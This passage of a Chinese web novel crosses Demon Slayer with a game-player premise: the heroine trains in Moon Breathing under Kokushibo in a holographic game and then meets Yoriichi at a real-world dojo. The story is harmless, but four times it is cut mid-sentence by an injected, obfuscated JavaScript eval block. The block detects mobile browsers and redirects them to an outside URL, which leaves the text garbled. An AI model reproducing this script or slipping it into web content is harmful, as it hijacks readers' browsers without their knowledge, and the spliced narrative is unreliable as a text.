养女的身体很不好,先天不足,稍微剧烈一点儿的运动就会让她咳得上气不接下气,在饮食上废了大力气调养,每天睡前都喝补药,才勉强有一点儿起色。 即便如此,她依旧很不安分,在吉原碰瓷,在婚礼搞事,现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412137|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连觉也不好好睡,半夜起床夜游,不自量力地提出想跟着黑死牟练剑。 脆弱又旺盛的生命力。 鬼舞辻无惨就喜欢这种人。 要是落月生病了只知道躺在床上等死,每天自怨自艾,唉声叹气,他不会让她多活一天。 “滚回去睡觉。”美艳的恶毒继母拍拍落月的后脑勺,像拍一颗脆皮的西瓜,“不要再让我看见你大半夜在外面游荡。” Gryffindor的夜游之夜结束了,但对玩家来说,一切才刚刚开始。 第二天清晨,天刚刚擦亮落月便利落地起了床,吩咐管家给她找一把竹刀。 不给她请剑术老师又怎样,玩家可以自学! 系统都提醒说呼吸法是本世界战斗体系了,玩家能不学吗?玩家死活都要学。 一切恐惧都源于武力不足,等玩家把等级练起来了,管他上弦一二三四五六,统统土下座给玩家唱征服,直呼此子恐怖如斯! 落月干劲满满地上了。 纵观落月前十八年的人生,她与剑道的交集,是零。 零基础说的就是玩家哒! 但没关系,这是在游戏里,系统有录屏功能。 落月点开系统录屏,截取她昨晚观看黑死牟月下挥剑的记忆,依葫芦画瓢摆开阵势。 竹刀划破空气击打在木桩上,完成一次挥斩。 很稚嫩,但的的确确复刻了落月记忆中的剑技。 呼吸法是什么,她搞不懂,但对错自有最公正的裁决。 【系统:熟练度+0.1%】 玩家:区区一千次挥斩罢了,寡人的肝何在! 落月狂肝一天。 吃饭都只匆匆扒拉了几口,抄起竹刀就是练,她今天非把熟练度刷满不可。 一千次挥斩对剑道老手而言不算什么,换成一个身体健康的人或许只需要一个上午,但落月做不到,她的体力消耗太快又恢复得太慢,能坚持下来纯靠玩家钢铁般的意志力。 看着熟练度一点点上涨真的很有成就感,难怪说有实时反馈的游戏最好玩,落月有些理解了。 【系统:熟练度+0.1%,当前熟练度99.8%】 【系统:熟练度+0.1%,当前熟练度99.9%】 【系统:熟练度+0.1%,当前熟练度100%】 【系统:你已掌握月之呼吸·一之型·暗月·宵之宫】 终于!落月长长地松了口气,酸痛的手腕累得再也握不住刀,竹刀脱手滑落在地。 回过神来落月才发现已经是深夜了,她练剑练得忘记了时间。 夜间的冷风吹过身上的汗水,热意被寒意取代,落月感到有点冷,她今天要好好地泡个澡再睡觉,明天早上美美赖床奖励一下努力的自己,再去恶毒继母面前炫耀一番。 不给玩家请剑术老师又怎样,玩家自学成才!也就是黑死牟不在这里,不然他照样要为玩家啄米。 小女孩累得半死但得意洋洋地叉腰,她愉快地转过身,准备回房间休息。 花园与洋房联通的小路尽头,武士打扮的六目恶鬼静静地站在那里,不知看了多久。 黑死牟的目光越过落月,看向木桩上一道道圆月形状的刃口。 唯有月之呼吸的剑技能留下那样的痕迹。 只看他演示了一次就学会了吗…… 何其恐怖的天赋。 8. 玩家登场第八天 深夜撞鬼,落月心脏都停跳了一拍。 上弦之一的恶鬼模样与昨夜一般无二,挎在腰间的长刀无需出鞘便散发着令人胆寒的威压。 落月有种直觉,或许死于黑死牟刀下的人根本无从窥见他拔刀的一瞬。 这可不是玩家现在能打的BOSS!落月战斗素质极强地在一秒内飞快存档,然后火速查看地图。 他不会因为我偷学他的剑技就黄名变红名吧?女孩子焦灼地用余光瞟地图。 还好,还是黄名,落月松了口气,弯腰拾起掉在地上的竹刀。 竹刀握在手上,为玩家提供了数值为零的安全感。 还不如鸨母的金簪,毕竟竹刀是砍不死人的,除非落月原地掏出一套少林棍法。 乱棍打倒上弦一,一人一棍一个夜晚一场奇迹,不要放弃啊英勇无畏的玩家! 落月视死如归地盯着被六目恶鬼堵住的路口,那是从花园到洋房唯一的一条路。 狭路相逢勇者胜,玩家是勇者! 落月做好了今晚死个七八九十次的准备,存过档的玩家无所畏惧,她非走这条路不可。 上弦一又怎样,玩家才是这片土地的领主,没有人能挑衅领主的尊严。 小女孩抱着和她差不多高的竹刀,一步步走向黑死牟。 道路尽头的两端种植着半人高的灌木,对于黑死牟而言抬脚便能跨过的灌木在女孩子面前像一堵墙,她想回到温暖的住宅里只能从他腿边努力地挤过去。 黑死牟微微低头,看落月和他的腿较劲。 仿佛一只毛茸茸的小松鼠,费劲地试图用脑袋顶开猎人的枪,回到她安心的巢穴里。 而猎人只用扣动扳机,便能轻易收下主动撞上来的猎物。 落月非常努力。 她一边默念狭路相逢勇者胜一边拼命努力。 毫无成果。 给她整累了。 小女孩喘了口气,她准备休息一下,重振旗鼓后再来。 落月手里忽然一空。 她抱在怀里的竹刀被抽走,被一只常年持刀的大手握住。 黑死牟握着竹刀,走向落月练习用的木桩。 通往洋房的路被让开了,再也没有阻碍,落月可以快步跑回房间,在仆人的服侍下洗一个舒服的热水澡,洗去夜晚的寒意和酸疼的苦累,舒舒服服窝进她柔软的被窝。 有些不稳的脚步声跟在黑死牟身后,跌跌撞撞的,是体力耗尽的象征。 渴望回巢休息的小动物咬牙跟了过来,她违背了生物趋利避害的天性,只因这里有更吸引她的东西。 竹刀划开夜色,破空声压过冷风,快到看不清刀身的居合斩劈向木桩,斩击轨迹上满是锋利的圆月刃。 四分五裂的木桩砸在地上,竹制的刀身毫发无伤,依旧是今早管家递给落月时的模样——为了不让零基础的小小姐弄伤自己而打磨得十分圆润、砍不断哪怕一根稻草的竹刀。 月之呼吸的一之型演示完毕,黑死牟掂了掂过轻的竹刀,不太满意。 他侧过头,想说些什么,首先看到的却是女孩子世界名画的呐喊表情。 落月:怎么回事!他使出来的和我使出来的是一个东西吗?! 她砍了一天也才把木桩磨掉一层皮而已啊。 落月心都快碎了,她立刻调出系统日志疯狂上翻,查找系统提示。 【系统:你已掌握月之呼吸·一之型·暗月·宵之宫(青铜模式)】 落月:“……” 落月:“…………” 玩家的沉默震耳欲聋。 女孩子在冷风中石化,黑死牟看见她天塌了的表情,开口道: “初次习剑……尚可。” 只看他演示过一次剑技就能完整的复刻,耗费一天时间练习便能入门,足以称得上天赋异禀。 月之呼吸四百年以来一直没有传人,黑死牟人类时期曾经希望月之呼吸能够传承下去,却迟迟没有找到能学会他剑技的剑士,变成鬼后他在剑道上越走越远,不再执着于传承。 年幼的女孩子站在断裂的木桩前,眼睛中闪过惊艳、羡慕和一丝丝不服气。 她身上的汗水已经干涸,每有夜风吹过身体便不自觉地打颤,手指蜷缩在一起,又因碰到掌心磨出的水泡而疼得松开。 一个天才。 一个刻苦的天才。 竹刀被重新递到落月手边,黑死牟站到她身侧,手指虚点她的手腕。 他纠正了落月一个发力的动作。 女孩子迟疑地仰头看了看瞳孔中刻着上弦一字眼的恶鬼,依言改正了动作,挥出一击。 【系统:熟练度+1%】 玩家:!!! 熟练度涨幅暴增10倍,这就是名师辅导的效果吗? 玩家白天都在练些什么啊! 落月立刻把自学成才的励志故事抛在脑后,教练她要上补习班! 女孩子红梅色的猫瞳睁得大大的,亮晶晶地仰望黑死牟:“我明天还能跟着先生学剑吗?” 她的掌心被竹刀磨得通红,过量的练习使她握刀的手指不受控制地痉挛,绝不是休息一天能缓和的。 “我明晚再来。”黑死牟道。 玩家:报上补习班了,好耶! 小女孩欢呼一声,喜滋滋地往洋房跑,跑了两步发现她把刚拜的剑术老师忘了,又扭过头。 夜风吹过空无一人的花园,落月眼中羡慕愈盛。 移形换影!她好想学! 在花园练剑一天的小小姐终于回到洋房,一盏盏灯亮起来,留守的女仆忙碌着准备热水和夜宵,走廊中传来四处走动的人声。 书房,一只挑开窗帘的手懒散地收回来,鬼舞辻无惨目光移向出现在房间中央的上弦一,略感兴趣地问:“她的天赋如何?” 黑死牟:“很不错。” 相当高的评价让鬼舞辻无惨多看了黑死牟一眼,他读了读上弦一的心,恍然:很不错的评价不仅指落月的天赋,黑死牟更欣赏她的刻苦。 他捡小孩的眼光果然优秀,黑死牟也很有品位,又是鬼舞辻无惨夸夸自己的一天。 “那些练呼吸法的剑士总是和我作对。”鬼舞辻无惨懒洋洋地说,声音中带着冷意。“既然天赋不错,你好好教。” “等她学成了,我就把她变成鬼,未来说不定能跻身上弦之月。” 一墙之隔,浑身酸痛的落月用最后的意志力洗漱完毕,一头栽倒在床上。 没有使用挂机模式,玩家一觉睡到中午。 中午,太阳晒屁股,落月无法在洋房里看见恶毒继母一根头发丝。 好一个见不得光的毒妇,玩家在小本子上记下鬼的弱点。 落月再也不会和恶毒继母好了,鲜艳的红名刺痛了她的心,上弦之一的一句“无惨大人”更是令玩家幼小的心灵千疮百孔。 她就知道月华夫人是假名,但这不是重点,重点是上弦之一的鬼尊称恶毒继母为大人,那么请问上弦之六的堕姬与这位毒妇的关系是? 玩家:当然是蛇鼠一窝!沆瀣一气!狼狈为奸! 气煞玩家也! 落月狠狠记仇,她吃过午饭,给磨破的掌心擦上药膏,拎着竹刀走进花园继续肝。 用黑死牟纠正过的发力动作继续练习,落月练了一个下午,成功把月之呼吸第一型的青铜模式刷成白银模式。 九十九次居合斩练习完毕,落月觉得她还能继续肝。 然而,熟练度停滞了。 无论落月如何努力,系统显示的数值死活不再增加,但落月使出的剑招距离昨晚黑死牟展示给她看的水平还有那么——远的差距。 不可能没有进步的空间,到底是谁在妨碍玩家进步? “是你基础太差。”黑死牟说。 一针见血,毫不留情的评语戳中玩家的膝盖。 落月:玩个游戏而已,零基础怎么你了! 没人说这款游戏非要剑道高手才能玩啊,她在时之政府上班的亲戚也没说啊,总不能是亲戚上班的环境默认周围都是剑道高手忘记提醒她了吧……吧? 亲戚:目移.jpg 基础薄弱、身体欠佳、下盘不稳、上肢无力……玩家就这样被教学NPC批评的一无是处。 玩家玩游戏是来当皇帝的,面刺寡人之过者斩立决,落月恶从心起,飞快存了个档。 她举起竹刀,向教学NPC发起了挑战! 她要用无敌的Save/Load大法教上弦一做人。 落月勇敢地上了。 半秒后,玩家被打成了猪头。 这还是黑死牟放水如放海的结果,为了使场面不那么难看。 落月读档,挨打,再读档,再挨打。 游戏设置中调节不了痛觉,每一次挨打都是实打实的被打,落月觉得她玩游戏像是在上刑。 游戏体验极差! 黑死牟平静地站在她面前,他的身影犹如山丘不可越,从始至终没有挪动一步。 未持刀的手背在身后,握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412138|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住竹刀的手亦是点到为止,在女孩子很大声喊痛的时候,竹刀不轻不重地敲在她的膝盖上:“站稳。” 落月读档三次被敲三次的膝盖疼痛残存,她栽倒在地,掌心被地面的沙石磨出一片血痕。 疼得要命。 落月没有再读档,她坐在地上摸了摸受伤的掌心,又抬头望向不可战胜的六目恶鬼,在赫金色的鬼目中看见了黑死牟的不认可。 疼痛和挫败感让落月的心情一下子低落起来,玩游戏的愉快和成就感荡然无存。 她到底是在玩游戏还是在被游戏玩? 正常游戏不该是玩家从新手村开始拜师老头老奶升级打怪一路高歌打倒BOSS人生未尝一败吗?为什么她孤儿开局到现在为止一场都没有赢过啊! 对玩家也太坏了叭! 你这样是留不住玩家的,落月的手心一阵阵地抽痛,她心情很差地存了个档,回到游戏开始页面,选择登出游戏。 全息游戏舱的舱门向上升起,落月跳下游戏舱,长长地伸了个懒腰。 “用了太久小女孩的身体,居然有点不习惯了。”落月仰头看向右手的手心。 光洁如新,没有沙石划过的血痕和竹刀磨出的水泡,是一双十指不沾阳春水的手。 现代社会,家境良好,实在没有什么苦是必须要吃的,落月因为身体不好而与运动社团无缘,手上只有写字磨出的笔茧。 她五指虚握,仿佛握住一把被汗水打湿的竹刀。 落月维持这个姿势站了一会儿,觉得自己有点傻。 “玩游戏都玩魔怔了。”女孩子嘀咕一句,掏出手机点外卖。 游戏内的时间流速和游戏外不同,其中的算法很复杂,落月不知道为什么这款游戏不能修改痛觉,也不知道为什么她现在肚子饿得仿佛练了一下午剑似的咕咕响。 明明只是在躺着打游戏……躺着被游戏打而已。 外卖很快送上门,落月随便找了个综艺节目看,边看边干饭。 非常纯粹的预制菜使她心平气和,习以为常的同时难免怀念起游戏里精心烹调的三餐。 恶毒继母很少出现在餐桌前,便宜继父更是难以上桌吃饭,厨房几乎完全以小小姐的口味为主,做的全是落月爱吃的。 虽然在游戏里被NPC狠狠教做人了,但不得不说吃的是真好。 落月忍不住伸手揉了揉膝盖,竹刀敲击膝盖真的很痛,她怀疑黑死牟根本不知道四岁半小女孩是什么概念,她没哭给他看已经很坚强了。 玩家不当魔童就把玩家当孤儿整,玩家人善被鬼欺。 在心里讨伐恶鬼一番,落月起身收拾吃完的外卖,顺便擦桌子。 擦桌子的时候发现地板上积了灰,落月又去拿扫把和拖把。 父母常年不在家,一个人独居多少要做点家务,落月不算做家务很勤快的类型,大扫除对她来说太累了,身体吃不消。 “和以前一样,做到开始咳嗽就停。” 落月自言自语,她边听综艺节目的声音边拖拖扫扫,以客厅为起点打扫。 她打扫完客厅,然后是她的卧室、父母的卧室、书房、厨房、杂物间、卫生间…… 等落月擦着汗停下来的时候,她惊悚地发现,她把家里所有的房间都打扫完了。 “欸?”落月吃了一惊,“我平时做全屋卫生可是要分三天来做的——至少分三天!” 因为她只要咳嗽就会停下来休息,不然打扫卫生把自己扫进医院乐子就大了。 女孩子茫然地摸了摸喉咙。 没有细碎的痒意,没有压制不住的咳嗽声,在整个劳动的过程中,落月一声都没有咳嗽。 为什么? “我……”落月迟疑的、犹豫的猜测,“我的身体变好了?” 她先天不足的,吃什么药都没有用的身体,好转了? “不,不对。”落月在沙发上坐下来,她捏了捏发酸的手臂,“体力还是很差,让我去跑800米还是会猝死倒地,但是——可是——” 有什么不同了,她今天打扫卫生的时候有什么不同了,导致咳嗽迟迟没有找上门。 是什么呢? 咳嗽,喉咙,肺部,落月的手从脖颈往下摸,按在胸腔上。 呼吸,胸腔一下又一下地起伏,她在呼吸。 呼吸……呼吸法! 练习了一千一百次的月之呼吸剑招,让落月离开游戏后仍然不自觉地使用着呼吸法! 她蓦然扭头,望向书房里的游戏舱。 9. 玩家登场第九天 浑身上下散发着高科技气息的游戏舱屹立在书房中央,尽显神秘。 落月看它的眼神都不一样了。 神医啊! 简直是医学的奇迹! 是她以小人之心度君子之腹了,游戏不许玩家调节痛觉自有它的道理,是玩家无法领悟游戏的深意,它只是个无辜的小游戏而已,它能害玩家吗?它都是为了玩家好。 这款游戏她玩定了,什么退游,不存在的,她只是临时下线吃了个饭而已,她这就上线肝个天荒地老。 落月争分夺秒躺进游戏舱里,读档。 跌倒在地的小女孩不顾掌心的伤口,干劲满满地爬起来,高高举起竹刀。 “再来!” 半秒后,玩家再次被打成猪头。 落月:我要冷静一下(点烟.jpg) 她觉得这样下去不行,再继续挨打她玩游戏要玩出工伤了,零基础想跟上黑死牟的剑道教学简直是痴人说梦。 相当于玩家二十六个字母都没背完,教练要她去考雅思,问就是你天赋异禀你可以,你可是天才啊! 落月:玩家当然是天才,但天才不是你虐待玩家的理由,谁家小孩第一次握刀就能把教练干翻,神之子吗? 她是很有素质的玩家,她不买挂。 “剑道基础太差,有没有什么办法能改善一下呢?”落月冥思苦想。 从今天开始扎马步? 落月推开游戏舱的舱门,捞起放在书桌上充电的手机,在搜索框里打字查询: 《剑道速成:从入门到入土》 《绝地武士是怎样炼成的》 《穿越到异世界的我想要成为剑神》 她津津有味地看起轻小说。 落月:……不对,我是要学习来着! 她回过神来滑动手机想关掉搜索页面,不知道点到了哪里,屏幕上突然跳出广告的弹窗。 【紫藤花道馆春假诚招剑术老师,短期兼职,有一定剑道基础即可,工资日结,待遇从优,联系电话:XXXXXX】 紫藤花道馆?落月隐约有些印象,似乎距离她家不远,步行二十分钟左右的路程。 对了,她可以去道馆报个剑道速成班! 待她学成归来,一剑惊艳上弦一! 有素质的玩家从不开挂,玩家只会使用神秘的场外力量把一无所知的NPC玩弄在股掌之中,这就是卑鄙的玩家。 说干就干,第二天,落月跟着导航的指引找到紫藤花道馆。 “欢迎光临。”前台热情地接待新学员。 “我们道馆致力于为学员提供一对一定制教学服务,无论是零基础的初学者、有一定基础的剑道爱好者还是全国级赛事的参赛者,都有对应水平的老师负责教学,请问您接触剑道多长时间了呢?” 按游戏时间来算的话……落月回答道:“两天。” 前台:懂了,零基础。 “初学者的话,向您推荐我们道馆很有带萌新经验的小寺老师。”前台请来一位穿着练习服的教练。 小寺老师递给落月一把竹刀,豪迈地说:“不必拘谨,我们先来进行一个摸底测试,你尽管攻击我。” 落月接过竹刀,在手里掂了掂。 已经成年的身体比小女孩更有力量,她回忆黑死牟演示的剑招,摆开架势。 月之呼吸·一之型·暗月·宵之宫·白银模式! “啪!” 竹刀被高高挑飞,击打在道场的天花板上,在破空声中砸落在地,掉在小寺老师呆滞的目光中。 落月收回挥出的竹刀,期待地说:“请指教。” 小寺老师:“……” 他接了个闹钟跑了。 前台被赶鸭子上架地找过来:“咳咳小寺老师今天好像有点不在状态,没关系,我们还有水平更高的西村老师。” 西村老师:“交给我吧!” 落月再次摆开架势,挥斩。 “啪啪!” 西村老师:“……” 西村老师:“实不相瞒我染上了风寒,咳咳咳咳抱歉啊我们可能没有师徒之缘。” 前台又双叒叕被赶鸭子上架地赶过来,咬牙说:“问题不大,还有我们道馆的金牌教练没有出手,有请水谷老师!” 水谷老师:“要上了!” 落月被金牌教练的气势所震慑,更加认真地使出居合斩。 “啪啪啪!” 水谷老师:“……” 水谷老师什么也没有说,只留给前台一个孤独的背影。 落月和前台面面相觑。 前台:“请允许我再确认一遍,你真的只学了两天?” 当然是真的,真的不能再真,落月倒是想多学几天,奈何被教学NPC打成了猪头。 会呼吸法和不会呼吸法的差距竟然有这么大吗?落月失望极了,她真是诚心诚意想来道馆补习的。 前台洒泪:骗人,你明明是来踢馆的! “你好,请问这里是紫藤花道馆吗?我来应聘春假的短期兼职。” 一张传单被轻轻放置在前台柜子上,走进道馆的青年习惯性地低头跨过门槛,站直身体后一米九的身高几乎挡住了门框。 连带门外的光线也一并被挡住,高大的影子沉甸甸的压下来。 某个瞬间,落月以为门口堵了一头熊。 “啊,是的,我们在招聘春假期间的短期兼职。”前台慢半拍地说,“要求有一定的剑道基础。” 青年点点头,他深红色的长鬓发扎成高马尾,像大型动物的毛发般毛茸茸的,耳垂边的日轮花札耳饰轻轻摇晃。 最引人注目的是他左额头上如火焰般的赤色斑纹,与他红色的眼眸交相辉映。 落月的视线在青年额头的斑纹上停了一会儿。 胎记吗?女孩子迟疑地想,和黑死牟脸上的斑纹好像啊。 上弦之一赫金色的六目令人胆寒,所见者只敢匆匆扫过一眼便极力低头避开,但玩家不怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412139|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他,落月很仔细地观察过黑死牟的长相。 冷淡而威严,如果没有六只眼睛,莫约是极其俊美的。 黑死牟的左额头和脖子右处都蔓延着如火焰缭绕的赤色斑纹,脖颈处的纹路一直蜿蜒到衣领下方,被紫色蛇纹和服遮住。 来道馆应聘的青年穿着质朴的白衬衫,最上面的两颗纽扣没有扣上,露出的脖颈一片光洁。 只是巧合而已吧,落月想,游戏还挺会做人物设计的,特意给上弦之一级别的BOSS额外添加了斑纹的设定,很色。 如果玩家没有被揍成猪头,她还能多夸八百字,但落月现在只想哭。 真的没有办法了吗,只能回游戏里挨揍了吗……上天请赐她一个剑术老师吧! 落月要求真的不高,只要教练不被白银模式的月之呼吸第一型秒掉就行,有这么难吗? 小寺老师&西村老师&水谷老师:你听听你说的是人话吗.jpg “那个,为了考察来兼职的剑术老师的水平,道馆要求应聘者和我们的常驻教练切磋一番。”前台一边解说一边摇人。 “小寺老师——完蛋小寺老师跑路了;西村老师——哦不西村老师突发恶疾打车去医院了;水谷老师——你回来啊水谷老师,你可是道观的金牌教练啊,你的尊严在哪里!你快回来!” 水谷老师:走远了,勿cue。 前台欲哭无泪,突然,她看见了站在旁边等她推荐新老师的落月。 “可以请您帮帮忙吗?”前台一把握住落月的手,言辞恳切地说,“拜托了,这是我一生一次的请求。” 被拉壮丁的落月眨眨眼,抬头对上青年澄澈平静的红色眼眸。 落月:欸,我打他吗? 她手中的竹刀还未放下,道场中央因为三位教练接连惨败而清空的场地没有人敢涉足,红发扎成高马尾的青年垂眸挽起袖口,露出结实有力的小臂。 “请。”他说。 落月呼出一口气,握紧竹刀。 只要是她已经学会了的招式,她的发挥就不会有一丝失常,第一次、第一百次,每一次都能达到同样的水准。 竹刀划破空气,斩击的轨迹上留下锋利的圆月刃。 “啪!” 竹刀碰撞出清脆的响声,一把竹刀被冲击的力道挑飞,落入另一个人手中。 落月手指收拢,什么也没有抓住。 “请问它们应该放回哪里?” 拿着两把竹刀的青年走过来,认真地问。 “……我不知道。”落月仰头看着他,“这是道场的刀,我也是第一次来。” “不过,或许你不用急着把它们还回去。” 她伸出一只手:“我叫秋山落月,来紫藤花道馆寻找能为我提供剑术指导的老师。如果你确定来这里兼职,那么我就是你的学生了。” 青年想了想,他的确是来应聘兼职的,于是也伸出手,握住女孩子的指尖。 他自我介绍道:“我是继国缘一。” 10. 玩家登场第十天 落月的指尖像被火苗燎了一下,被继国缘一手指贴住的皮肤炽热滚烫。 仿佛触碰到太阳一样。 不正常,非常之不正常。 据落月多年来生病的经验,继国缘一很可能是在发高烧。 疑似烧到40度左右的高烧。 人都快烧傻了还坚持找兼职打工,何等惊人的自立自强精神,落月肃然起敬。 “其实我也没有很急。”女孩子诚挚地说,“要不缘一前辈你还是先去看急诊吧,千万不能错过最佳治疗期。” 继国缘一不明所以,他迟钝地反应了一会儿,摇头道:“我没有生病。” 落月:讳疾忌医的人都是这样说的,不要放弃治疗啊! 女孩子的眼神变得恨铁不成钢起来,继国缘一沐浴在她谴责的目光下,难以继续保持沉默,只好笨拙地解释:“我从出生起体温就是39度,一直如此,不是生病。” 落月:什么!你高烧二十多年不退? 她本以为自己先天不足体弱多病已是卧龙凤雏,没想到还有高手。 “合该我们有师徒之缘。”落月悟了,这是天赐的缘分呐。 她立刻决定办卡买课,认准新来的继国教练。 前台小姐姐经历了上班以来最魔幻的一次卖课推销,她机械式的给新教练和新学员办理手续,纯靠职业素养强撑:“两位选择的教学模式是一对一私教课,建议你们最好交换一下联系方式,方便约时间上课。” 落月于是多了一个联系人。 继国缘一的朋友圈完全对外开放,他似乎很热衷于记录生活,上传了很多街边小猫小狗的随手抓拍,还有各种各样罕见的鸟类和野钓上钩的鱼。 没想到缘一前辈竟是钓鱼佬&观鸟人的究极合体形态,落月手指下滑,一系列徒步、骑行、攀岩、野外生存的照片令她大为震撼。 继国缘一是一位棕熊般孔武有力的奇男子。 简直是落月的理想型。 “如果我也能有缘一前辈这样的身体素质就好了。”落月难掩羡慕,“我从来没有完整地爬过一座山。” 初中的时候学校组织爬山看日出,她不被允许跟在上山的队伍里,老师让她单独乘坐缆车登顶,等到了山顶,黎明前的天空乌漆嘛黑,山间的冷风吹得落月咳嗽不止。 篮球部的队伍是最早爬上山顶的,桃井五月担心地跑过来抱住她,赤司征十郎打了个手势,让其他人围在两个女生外面替她们挡住风。 太阳升起的辉辉恩光照耀山峦,扫净阴霾,落月止住咳嗽,抬头望向辉煌的奇观。 好耀眼,好温暖。 “虽然坐缆车很轻松,但亲手征服山峰的快感是另一个level。”落月干劲满满地握拳,“我总有一天会做到的。” 何况她已经见证了医学的奇迹,玩家挨的每一顿揍都不是白打的! “我的未来就交给缘一前辈了。”女孩子郑重地握住继国缘一的手,上下摇晃,“请教给我战胜恶毒继母的绝招,欧内盖!” 继国缘一:不解,但下意识点头。 不知为何,虽然听不懂她在说什么,但莫名觉得他能做到。 继国缘一是个剑道天才。 用天才来形容他甚至算得上一种辱没,他的天赋如此耀眼,如太阳般炽热恐怖不讲道理,令人畏惧。 因此继国缘一并不擅长教人。 好在落月练剑的过程也没有正常到哪里去,月之呼吸断档了四百年,她只见过一次便能完整地复刻,同样是不讲道理的天赋。 继国缘一比黑死牟还是要好上许多的,他耐心且宽和,只会用言语纠正落月的姿势,偶尔伸手调整,不像上弦一似的用竹刀冷冷地敲她膝盖。 落月:简直是严父和慈母的区别(暴言)。 对于一个剑道零基础的初学者来说,上课就像女娲补天,越学越像精卫填海。 落月一眨眼的功夫就练习到了道馆关门的时间,在保安的催促声中,继国缘一拿走女孩子手中的竹刀,递给她一条干净的毛巾。 落月擦了擦脖颈间的汗水,捧着水杯咕噜噜地喝。 继国缘一将两只竹刀放回原位,他没有出汗,也不需要喝水,只是站在旁边等她。 “我们明天还是约这个时间?”落月问。 她非常迫切想要猛猛练习,等学成归来读档再战上弦一。 继国缘一点点头,他看了看外面漆黑的天色,开口想说些什么。 “我家离道馆很近的。”落月笑着摆摆手,“这附近治安也很好,不用麻烦缘一前辈送我回去。” 两人毕竟只认识了一天,在道馆外她不是继国缘一的责任,如果不顺路的话落月不想麻烦人家。 乐于助人大概是继国缘一的底层代码,即使被拒绝了他也没有先行离开,只是说他不会绕路。 落月没有过多纠结,她在道馆的自动贩卖机买了一瓶波子汽水请继国缘一喝算作答谢,给自己买了一袋跳跳糖。 多彩水果味的跳跳糖在舌尖上蹦床,落月慢吞吞地挪着步子,感受手脚肌肉的酸痛。 继国缘一拿着波子汽水喝得很认真,他走得像落月一样慢。 倒也没有必要一直迁就她啦,今天的运动量对缘一前辈而言都算不上热身运动吧,真叫人羡慕。 晚风吹在身上很舒服,跳跳糖吃完的时候落月正好走到公寓的电梯前。 她按下上行键,对着镜面似的电梯门理了理垂落的黑发。 棕熊一样的高大身影占据了电梯门三分之二的位置,熊老老实实地等电梯。 落月:“……” 熊一言不发,非常老实,仿佛是她大惊小怪。 “缘一前辈。”落月努力地为他找理由,“你迷路了?” 继国缘一摇头。 落月:“你离家出走了?” 继国缘一还是摇头。 电梯到达一楼,门开了,他谦让地让落月先进去。 落月一瞬间想了很多。 比如紫藤花道馆招收兼职是要看证件的,比如公寓楼道和电梯里都有监控,比如附近警察局的出警速度惊人,等等等等。 继国缘一不知道女孩子在想什么,他可能看出了她的警惕,于是默默地往电梯角落里挪了挪。 就,瞧着可怜巴巴的。 人竟然可以欺负熊吗? 落月:当我打出问号的时候,不是我有问题,是你有问题。 电梯门闭合,但因为没有人按楼层键,电梯纹丝不动。 谦让和乐于助人一样是继国缘一的底层代码,但落月迟迟不动,他只好先按下自己要去的楼层。 熟悉的数字点亮落月的眼睛,那枚楼层键她曾无数次按过,继国缘一的指纹叠在她的指纹上。 公寓是一梯两户的格局,落月隔壁的邻居几年前就出了国,房子一直挂在中介那儿,因租金太高而无人问津。 落月深呼吸。 不管怎么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412140|200681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是那个吧,没有别的解释了,绝对是那个吧! “缘一前辈。”她情真意切地说,“你现在还有回头路可走,不要葬送你的大好人生,你的未来有无限可能——收手吧!当斯托卡是没有前途的!” 她话音刚落,电梯门叮的一声打开。 搬家用的箱子堆满楼道,落月隔壁的房门虚掩着,隐约透露出屋内的光线。 落月:“……” 继国缘一:“……” 他张了张嘴。 落月飞快打断:“你不要说话,你嗓子不舒服——就当是为了我,求你了。” 不要让她跪下来求你! 女孩子崩溃的表情让青年眼中闪过一丝笑意,他挡住电梯将要合拢的门,示意落月先出去再说。 “保持警惕没什么不好,这代表你知道如何保护自己。”继国缘一认真地说,“不过,你其实可以直接问我的。” 落月:难道不是你一直一声不吭吗! 但凡他脸上有一点儿惊讶的表情,她都不至于社死。 既然继国缘一让她问,落月就毫不客气地查起了户口——她隔壁的房子都空两三年了,他怎么会突然搬过来? 